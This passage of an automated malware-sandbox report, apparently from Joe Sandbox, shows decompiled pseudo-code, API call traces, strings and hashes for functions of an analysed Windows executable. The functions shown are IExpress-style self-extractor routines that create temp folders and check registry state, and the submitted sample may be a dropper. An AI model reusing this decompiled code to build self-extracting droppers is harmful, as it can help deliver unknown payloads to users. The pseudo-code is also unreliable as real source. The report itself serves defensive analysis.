										_t69 = E003D5467(0x3d91e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x3d91e4;
											_t70 = E003D2630(0, 0x3d91e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x3d91e4;
												_t71 = E003D5467(0x3d91e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E003D597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x3d8b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E003D5467(0x3d8b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E003D44B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E003D44B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x3d9124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E003D44B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x3d9124 = E003D6285();
					L2:
					_t38 = 0;
				}
				L47:
				return E003D6CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x003d55ab
0x003d55b2
0x003d55c9
0x003d55d5
0x003d55d9
0x003d5600
0x003d5605
0x003d560a
0x003d560c
0x003d5638
0x003d5641
0x003d5643
0x003d5645
0x003d5645
0x003d564c
0x003d5652
0x003d5657
0x003d5659
0x003d5696
0x003d569c
0x003d589f
0x003d58a7
0x003d58ac
0x003d58b3
0x003d58b5
0x003d56a2
0x003d56a2
0x003d56a8
0x00000000
0x003d56ae
0x003d56ae
0x003d56b9
0x003d56bf
0x003d56c1
0x003d56f3
0x003d56f3
0x003d5705
0x003d570a
0x003d5711
0x003d5717
0x003d5724
0x003d5726
0x003d5729
0x003d5730
0x003d5737
0x003d573d
0x003d5740
0x00000000
0x00000000
0x00000000
0x00000000
0x003d572b
0x003d572b
0x003d572e
0x003d5742
0x003d5742
0x003d5745
0x003d576b
0x003d576b
0x00000000
0x003d5747
0x003d5747
0x003d574d
0x003d574f
0x003d5771
0x003d5771
0x003d5773
0x00000000
0x003d5751
0x003d5751
0x003d5753
0x00000000
0x003d5755
0x003d575b
0x003d5760
0x003d5762
0x00000000
0x003d5764
0x003d5764
0x003d5769
0x003d577e
0x003d577e
0x003d5781
0x003d5788
0x003d578d
0x003d578f
0x003d57b2
0x003d57b8
0x003d57bd
0x003d57bf
0x003d57cd
0x003d57cd
0x003d57dd
0x003d57e3
0x003d57ef
0x003d57f5
0x003d57f8
0x003d580a
0x003d580a
0x003d57fa
0x003d5802
0x003d5802
0x003d580d
0x003d580f
0x003d5830
0x003d5836
0x003d583d
0x003d584b
0x003d5851
0x003d5855
0x003d585a
0x003d585c
0x00000000
0x003d585e
0x003d585e
0x00000000
0x003d585e
0x003d5811
0x003d5817
0x003d5819
0x003d581f
0x00000000
0x003d581f
0x003d5791
0x003d5797
0x003d579c
0x003d579e
0x00000000
0x003d57a0
0x003d57a9
0x003d57ae
0x003d57b0
0x00000000
0x00000000
0x00000000
0x00000000
0x003d57b0
0x003d579e
0x00000000
0x00000000
0x00000000
0x003d5769
0x003d5762
0x003d5753
0x003d574f
0x00000000
0x00000000
0x00000000
0x003d572e
0x00000000
0x003d5864
0x003d5864
0x003d5864
0x003d5717
0x00000000
0x003d56c3
0x003d56c5
0x003d56c9
0x003d56ce
0x003d56d0
0x00000000
0x003d56d6
0x003d56d6
0x003d56d8
0x003d56dd
0x003d56df
0x00000000
0x003d56e1
0x003d56e2
0x003d56e4
0x003d56e6
0x003d56eb
0x003d56ed
0x00000000
0x003d56f3
0x003d56f3
0x00000000
0x003d586c
0x003d5878
0x003d587e
0x003d5882
0x003d5883
0x003d5889
0x003d588e
0x003d588e
0x00000000
0x003d5896
0x003d56ed
0x003d56df
0x003d56d0
0x003d56c1
0x003d56a8
0x003d565b
0x003d565b
0x003d565d
0x003d5669
0x003d5669
0x003d565f
0x003d565f
0x003d5665
0x003d5667
0x00000000
0x00000000
0x003d5667
0x003d566c
0x003d5673
0x003d5678
0x003d567a
0x003d589b
0x003d589b
0x003d5680
0x003d5685
0x003d568c
0x00000000
0x003d568c
0x003d567a
0x003d560e
0x003d5613
0x003d561a
0x003d5620
0x003d5626
0x00000000
0x003d5626
0x003d55db
0x003d55e0
0x003d55e7
0x003d55f1
0x003d55f6
0x003d55f6
0x003d55f6
0x003d58b7
0x003d58c7

APIs

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 003D55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 003D5638
LocalFree.KERNEL32(00000000), ref: 003D564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 003D5620

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Part of subcall function 003D6285: GetLastError.KERNEL32(003D5BBC), ref: 003D6285

GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 003D56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 003D571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 003D5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 003D57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 003D57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 003D5802

Part of subcall function 003D2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 003D2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 003D5830

Part of subcall function 003D6517: FindResourceA.KERNEL32(003D0000,000007D6,00000005), ref: 003D652A
Part of subcall function 003D6517: LoadResource.KERNEL32(003D0000,00000000,?,?,003D2EE8,00000000,003D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 003D6538
Part of subcall function 003D6517: DialogBoxIndirectParamA.USER32(003D0000,00000000,00000547,003D19E0,00000000), ref: 003D6557
Part of subcall function 003D6517: FreeResource.KERNEL32(00000000,?,?,003D2EE8,00000000,003D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 003D6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 003D5878

Part of subcall function 003D597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003D59A8
Part of subcall function 003D597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 003D59AF

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D56AE, 003D56B3, 003D583D
Z, xrefs: 003D570A
RUNPROGRAM, xrefs: 003D55BD, 003D5600
msdownld.tmp, xrefs: 003D57D3
A:\, xrefs: 003D56F4
<None>, xrefs: 003D5632

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-1216675450
Opcode ID: cacdbdfd6e97ea6c75d899cdb46b8e08cc492280c182c722b8a5937ac8980381
Instruction ID: a3cfd5134be117246092717831bb71b3aab480800f5348bd979b6d5a25f9deb7
Opcode Fuzzy Hash: cacdbdfd6e97ea6c75d899cdb46b8e08cc492280c182c722b8a5937ac8980381
Instruction Fuzzy Hash: 97814AB3B05A149BDB23AB71BD81BEA736D9B61300F1400A7F586D6390DF70CEC18A11

Uniqueness

Uniqueness Score: -1.00%

Function 003D53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E003D53A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E003D171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E003D1680(_t32, 0x104, _t20);
					E003D658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E003D6CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x3d8a20 = 1;
				goto L5;
			}

0x003d53ac
0x003d53b3
0x003d53b9
0x003d53bb
0x003d53bd
0x003d53bf
0x003d53d1
0x003d53d6
0x003d53e0
0x003d53e2
0x003d53f5
0x003d53fb
0x003d5402
0x003d540b
0x00000000
0x00000000
0x003d5413
0x00000000
0x00000000
0x003d5415
0x003d5416
0x003d5427
0x003d542a
0x003d542b
0x003d5434
0x003d5434
0x003d543a
0x003d544c
0x003d544c
0x003d5452
0x003d545a
0x00000000
0x00000000
0x003d545e
0x003d545f
0x00000000

APIs

Part of subcall function 003D171E: _vsnprintf.MSVCRT ref: 003D1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D53FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5402
GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5452

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D53B7, 003D53E1, 003D541E
IXP, xrefs: 003D5419
IXP%03d.TMP, xrefs: 003D53C0

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-1581276140
Opcode ID: 32339723b6d1e3156cb9c51749addc5a6e660e8eba97c7a9cfc786654cd7fa64
Instruction ID: 422a6183ae3cf963cb6e7381dbffd5166f47de3b915633e509890251fa7d9518
Opcode Fuzzy Hash: 32339723b6d1e3156cb9c51749addc5a6e660e8eba97c7a9cfc786654cd7fa64
Instruction Fuzzy Hash: 9C11B27270291477D323AB26BD49FAF776DEFC5711F000127F556D2290CE74898686A2

Uniqueness

Uniqueness Score: -1.00%

Function 003D256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E003D256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E003D24E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x003d2572
0x003d2573
0x003d2575
0x003d2578
0x003d257d
0x003d2627
0x003d2583
0x003d2586
0x003d2589
0x003d25eb
0x003d2607
0x00000000
0x003d2609
0x003d261a
0x00000000
0x003d261a
0x00000000
0x003d258b
0x003d258b
0x003d259e
0x003d25b2
0x003d25ba
0x003d25cb
0x003d25d1
0x003d25d6
0x003d25da
0x003d25dd
0x003d25dd
0x003d25e3
0x003d25e3
0x003d25e3
0x003d258b
0x003d2589
0x003d262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000036,003D4096,003D4096,?,003D1ED3,00000001,00000000,?,?,003D4137,?), ref: 003D25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,003D4096,?,003D1ED3,00000001,00000000,?,?,003D4137,?,003D4096), ref: 003D25CB
RegCloseKey.KERNELBASE(?,?,003D1ED3,00000001,00000000,?,?,003D4137,?,003D4096), ref: 003D25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000036,003D4096,003D4096,?,003D1ED3,00000001,00000000,?,?,003D4137,?), ref: 003D25FF
RegQueryInfoKeyA.ADVAPI32 ref: 003D261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 003D25F5
PendingFileRenameOperations, xrefs: 003D25C3
System\CurrentControlSet\Control\Session Manager, xrefs: 003D25A8

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 9a9d770ba307db3c4c4d22503989c526c1fa635b7bdd3e5f56a45039f6936ffb
Instruction ID: 64e6e2169fcfe3fd396d0e46f36a8e5ba02fa93f2b9d59ab64ebb78d71f31fab
Opcode Fuzzy Hash: 9a9d770ba307db3c4c4d22503989c526c1fa635b7bdd3e5f56a45039f6936ffb
Instruction Fuzzy Hash: 3F115836942228BB9B229B92BD09DFFBF7CDF557A1F104057F808E2250D6709F44E6A1

Uniqueness

Uniqueness Score: -1.00%

Function 003D6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E003D7155();
				_push(0x58);
				_push(0x3d72b8);
				E003D7208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x3d88b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x3d88b0; // 0x2
						if(__eflags != 0) {
							 *0x3d81e4 = _t58;
							goto L13;
						} else {
							 *0x3d88b0 = _t58;
							_t37 = E003D6C3F(0x3d10b8, 0x3d10c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L003D6FF4();
						L13:
						_t68 =  *0x3d88b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x3d10b4);
							_push(0x3d10ac);
							L003D7202();
							 *0x3d88b0 = 2;
						}
						if(_t53 == 0) {
							 *0x3d88ac = 0;
						}
						_t71 =  *0x3d88b4;
						if( *0x3d88b4 != 0 && E003D7060(_t71, 0x3d88b4) != 0) {
							_t60 =  *0x3d88b4; // 0x0
							 *0x3da288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x76725b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E003D2BFB(0x3d0000, 0, _t59); // executed
							 *0x3d81e0 = _t30;
							__eflags =  *0x3d81f8;
							if( *0x3d81f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x3d81e4;
							if( *0x3d81e4 == 0) {
								__imp___cexit();
								_t30 =  *0x3d81e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E003D724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x003d6a60
0x003d6a6a
0x003d6a6c
0x003d6a71
0x003d6a78
0x003d6a7f
0x003d6a85
0x003d6a8e
0x003d6a91
0x003d6a93
0x003d6a9c
0x003d6aa2
0x00000000
0x00000000
0x003d6aa6
0x003d6ab4
0x00000000
0x003d6aa8
0x003d6aaa
0x003d6aab
0x003d6aab
0x003d6abf
0x003d6abf
0x003d6ac5
0x003d6ad1
0x003d6ad7
0x003d6b05
0x00000000
0x003d6ad9
0x003d6ad9
0x003d6ae9
0x003d6af0
0x003d6af2
0x00000000
0x003d6af4
0x003d6af4
0x003d6afb
0x003d6afb
0x003d6af2
0x003d6ac7
0x003d6ac7
0x003d6ac9
0x003d6b0b
0x003d6b0b
0x003d6b11
0x003d6b13
0x003d6b18
0x003d6b1d
0x003d6b24
0x003d6b24
0x003d6b30
0x003d6b39
0x003d6b39
0x003d6b3b
0x003d6b42
0x003d6b57
0x003d6b5f
0x003d6b65
0x003d6b65
0x003d6b67
0x003d6b6c
0x003d6b6e
0x003d6b71
0x003d6b74
0x003d6b74
0x003d6b79
0x00000000
0x00000000
0x003d6b7d
0x003d6b81
0x00000000
0x00000000
0x003d6b83
0x003d6b8c
0x003d6b8d
0x003d6b90
0x003d6b90
0x003d6b83
0x003d6b81
0x003d6b94
0x003d6b98
0x003d6ba2
0x003d6b9a
0x003d6b9a
0x003d6b9a
0x003d6ba3
0x003d6bab
0x003d6bb0
0x003d6bb5
0x003d6bbc
0x003d6bbf
0x00000000
0x003d6bbf
0x003d6c1e
0x003d6c25
0x003d6c27
0x003d6c2d
0x003d6c2d
0x003d6c32
0x00000000
0x003d6bc5
0x003d6bc5
0x003d6bc8
0x003d6bcc
0x003d6bce
0x003d6bce
0x003d6bd1
0x003d6bd3
0x003d6bd3
0x003d6bd6
0x003d6bda
0x003d6be1
0x003d6be3
0x003d6be5
0x003d6be5
0x003d6be6
0x003d6be6
0x003d6be9
0x003d6bea
0x003d6bea
0x003d6b74
0x003d6c39
0x003d6c3e
0x003d6c3e
0x003d6abe
0x003d6abe
0x00000000

APIs

Part of subcall function 003D7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 003D7182
Part of subcall function 003D7155: GetCurrentProcessId.KERNEL32 ref: 003D7191
Part of subcall function 003D7155: GetCurrentThreadId.KERNEL32 ref: 003D719A
Part of subcall function 003D7155: GetTickCount.KERNEL32 ref: 003D71A3
Part of subcall function 003D7155: QueryPerformanceCounter.KERNEL32(?), ref: 003D71B8

GetStartupInfoW.KERNEL32(?,003D72B8,00000058), ref: 003D6A7F
Sleep.KERNEL32(000003E8), ref: 003D6AB4
_amsg_exit.MSVCRT ref: 003D6AC9
_initterm.MSVCRT ref: 003D6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 003D6B49
exit.KERNELBASE ref: 003D6BBF
_ismbblead.MSVCRT ref: 003D6BDA

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 90abef83da5720d0132e3d1e85650cb987141b3a383e64ad997d4c1c8cec5d07
Instruction ID: 23e5585113e4e6c3dbbb103b7d2741f1421091069ba5e8eb7052765ea1df6969
Opcode Fuzzy Hash: 90abef83da5720d0132e3d1e85650cb987141b3a383e64ad997d4c1c8cec5d07
Instruction Fuzzy Hash: 6C4112739497649FDB239B6AFD067AA77E8FB44720F25001BE861E7390CB745840CB80

Uniqueness

Uniqueness Score: -1.00%

Function 003D58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E003D58C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E003D1680(_t20, _t36, _t33);
					E003D658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x3d9124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E003D44B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x3d9124 = E003D6285();
					_t14 = 0;
				}
				return _t14;
			}

0x003d58cd
0x003d58d1
0x003d58d3
0x003d58d5
0x003d58d8
0x003d58d8
0x003d58da
0x003d58db
0x003d58e1
0x003d58ed
0x003d58f1
0x003d591e
0x003d592c
0x003d5943
0x003d594a
0x003d594d
0x003d5953
0x003d5959
0x00000000
0x003d595b
0x003d595c
0x003d5963
0x003d596c
0x00000000
0x003d5972
0x003d5974
0x003d597a
0x003d597a
0x003d596c
0x003d58f3
0x003d5901
0x003d5906
0x003d590b
0x003d5910
0x003d5910
0x003d5918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,003D5534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,003D5534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5943
LocalFree.KERNEL32(00000000,?,003D5534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D594D
